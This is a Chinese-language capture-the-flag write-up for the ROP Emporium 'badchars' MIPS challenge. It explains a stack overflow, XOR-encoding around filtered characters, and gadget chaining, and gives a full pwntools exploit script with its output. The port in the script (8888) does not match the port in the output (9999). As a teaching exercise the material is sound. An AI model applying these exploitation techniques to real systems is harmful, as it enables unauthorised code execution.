OneShell

I fight for a brighter tomorrow

0%

badchars_mipsel

pwnme反编译代码如下,可以看到会对写入的缓冲区逐个字节进行检查,如果包含x、g、a、.字符,则替换成0xEB。
在程序中含有print_file函数,因此大概的思路是需要使用ROP带参数flag.txt调用print_file函数,同时需要找一个方法来规避pwnme函数对缓冲区中数字的过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int pwnme()
{
unsigned int len; // [sp+18h] [+18h]
unsigned int i; // [sp+1Ch] [+1Ch]
unsigned int j; // [sp+20h] [+20h]
char v4[32]; // [sp+28h] [+28h] BYREF

setvbuf(stdout, 0, 2, 0);
puts("badchars by ROP Emporium");
puts("MIPS\n");
memset(v4, 0, sizeof(v4));
puts("badchars are: 'x', 'g', 'a', '.'");
printf("> ");
len = read(0, v4, 0x200u);
for ( i = 0; i < len; ++i ) // 对写入缓冲区中的数据进行检查,如果有badchar,则替换
{
for ( j = 0; j < 4; ++j )
{
if ( v4[i] == badcharacters[j] )
v4[i] = 0xEB;
}
}
return puts("Thank you!");
}

ROP

通过看官方内置的gadgets,大概的思路应该是,先将ROP异或某个数写入到缓冲区,然后控制流劫持后,再使用异或恢复缓冲区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:00400930                               usefulGadgets:
.text:00400930 0C 00 B9 8F lw $t9, 0xC($sp)
.text:00400934 08 00 A8 8F lw $t0, 8($sp)
.text:00400938 04 00 A9 8F lw $t1, 4($sp)
.text:0040093C 00 00 09 AD sw $t1, 0($t0)
.text:00400940 09 F8 20 03 jalr $t9
.text:00400944 10 00 BD 23 addi $sp, 0x10
.text:00400944
.text:00400948 0C 00 B9 8F lw $t9, 0xC($sp)
.text:0040094C 08 00 A8 8F lw $t0, 8($sp)
.text:00400950 04 00 A9 8F lw $t1, 4($sp)
.text:00400954 00 00 2A 8D lw $t2, 0($t1)
.text:00400958 26 40 0A 01 xor $t0, $t2
.text:0040095C 00 00 28 AD sw $t0, 0($t1)
.text:00400960 09 F8 20 03 jalr $t9
.text:00400964 10 00 BD 23 addi $sp, 0x10
.text:00400964
.text:00400968 08 00 A4 8F lw $a0, 8($sp)
.text:0040096C 04 00 B9 8F lw $t9, 4($sp)
.text:00400970 09 F8 20 03 jalr $t9
.text:00400974 0C 00 BD 23 addi $sp, 0xC
.text:00400974
.text:00400978 00 00 00 00 nop
.text:0040097C 00 00 00 00 nop

可以将该gadget分成三段:
第一段:write_to_addr,负责写入4个字节到data段中

1
2
3
4
5
6
7
.text:00400930                               write_to_addr
.text:00400930 0C 00 B9 8F lw $t9, 0xC($sp) # 下个gadget地址
.text:00400934 08 00 A8 8F lw $t0, 8($sp) # 写入目标地址
.text:00400938 04 00 A9 8F lw $t1, 4($sp) # 写入的数据
.text:0040093C 00 00 09 AD sw $t1, 0($t0)
.text:00400940 09 F8 20 03 jalr $t9
.text:00400944 10 00 BD 23 addi $sp, 0x10

第二段:xor_decrypt,负责对指定地址的4个字节进行xor解密

1
2
3
4
5
6
7
8
9
.text:00400948                               xor_decrypt
.text:00400948 0C 00 B9 8F lw $t9, 0xC($sp) # 下个gadget地址
.text:0040094C 08 00 A8 8F lw $t0, 8($sp) # xor解密key
.text:00400950 04 00 A9 8F lw $t1, 4($sp) # 数据地址
.text:00400954 00 00 2A 8D lw $t2, 0($t1)
.text:00400958 26 40 0A 01 xor $t0, $t2
.text:0040095C 00 00 28 AD sw $t0, 0($t1)
.text:00400960 09 F8 20 03 jalr $t9
.text:00400964 10 00 BD 23 addi $sp, 0x10

第三段:print_file,带参数调用print_file函数

1
2
3
4
.text:00400968 08 00 A4 8F                   lw      $a0, 8($sp)  # flag.txt地址
.text:0040096C 04 00 B9 8F lw $t9, 4($sp) # print_file函数
.text:00400970 09 F8 20 03 jalr $t9
.text:00400974 0C 00 BD 23 addi $sp, 0xC

ROP构造如下:
先填充到返回地址,ra保存在SP+0x4C,缓冲区位于SP+0x28,因此需要填充0x24,才能覆盖返回地址。

1
rop = b"A" * 0x24

badchars = ‘.’, ‘a’, ‘g’, ‘x’ = 0x2e, 0x61, 0x67, 0x78,可以采用如下的脚本去选择一个key来和字符串进行异或:

1
2
3
4
5
6
7
8
9
10
badchars = b".agx"
flag_txt = b"flag.txt"
key = ""
for each in flag_txt:
for i in range(0, 32):
if each ^ i not in badchars:
key += str(hex(i)) + " "
print(hex(each), hex(i ^ each), chr(i ^ each))
break
print("key:", key)

继续构造ROP,将xor_flag分两次通过第一个gadget写入到data段上。

1
2
3
4
5
6
7
8
9
10
11
rop += p32(write_to_addr)
# 栈平衡完成
rop += b"B" * 0x4
rop += b"\x66\x6c\x60\x66"
rop += p32(0x00411000)
rop += p32(write_to_addr)
# 栈平衡完成
rop += b"B" * 0x4
rop += b"\x2f\x74\x79\x74"
rop += p32(0x00411004)
rop += p32(xor_decrypt)

此时就规避了程序对于关键字符的过滤,那么在执行ROP的时候还需要对该字符串进行解密

1
2
3
4
5
6
7
8
9
10
# 栈平衡完成
rop += b"B" * 0x4
rop += p32(0x00411000)
rop += b"\x00\x00\x01\x01"
rop += p32(xor_decrypt)
# 栈平衡完成
rop += b"B" * 0x4
rop += p32(0x00411004)
rop += b"\x01\x00\x01\x00"
rop += p32(print_file)

解密完成后,调用print_file函数

1
2
3
rop += b"B" * 0x4 
rop += p32(ELF.symbols['print_file'])
rop += p32(0x00411000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
BINARY = "./badchars_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

write_to_addr = 0x00400930
xor_decrypt = 0x00400948
print_file = 0x00400968

rop = b"A" * 0x24

rop += p32(write_to_addr)

rop += b"B" * 0x4
rop += b"\x66\x6c\x60\x66"
rop += p32(0x00411000)
rop += p32(write_to_addr)

rop += b"B" * 0x4
rop += b"\x2f\x74\x79\x74"
rop += p32(0x00411004)
rop += p32(xor_decrypt)

rop += b"B" * 0x4
rop += p32(0x00411000)
rop += b"\x00\x00\x01\x01"
rop += p32(xor_decrypt)

rop += b"B" * 0x4
rop += p32(0x00411004)
rop += b"\x01\x00\x01\x00"
rop += p32(print_file)

rop += b"B" * 0x4
rop += p32(ELF.symbols['print_file'])
rop += p32(0x00411000)
with open("./raw", "wb") as f:
f.write(rop)
p = remote("10.0.0.2", 8888)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
$ python3 badchars.py
[*] '/home/utest/Code/mipsrop/badchars_mipsel/badchars_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999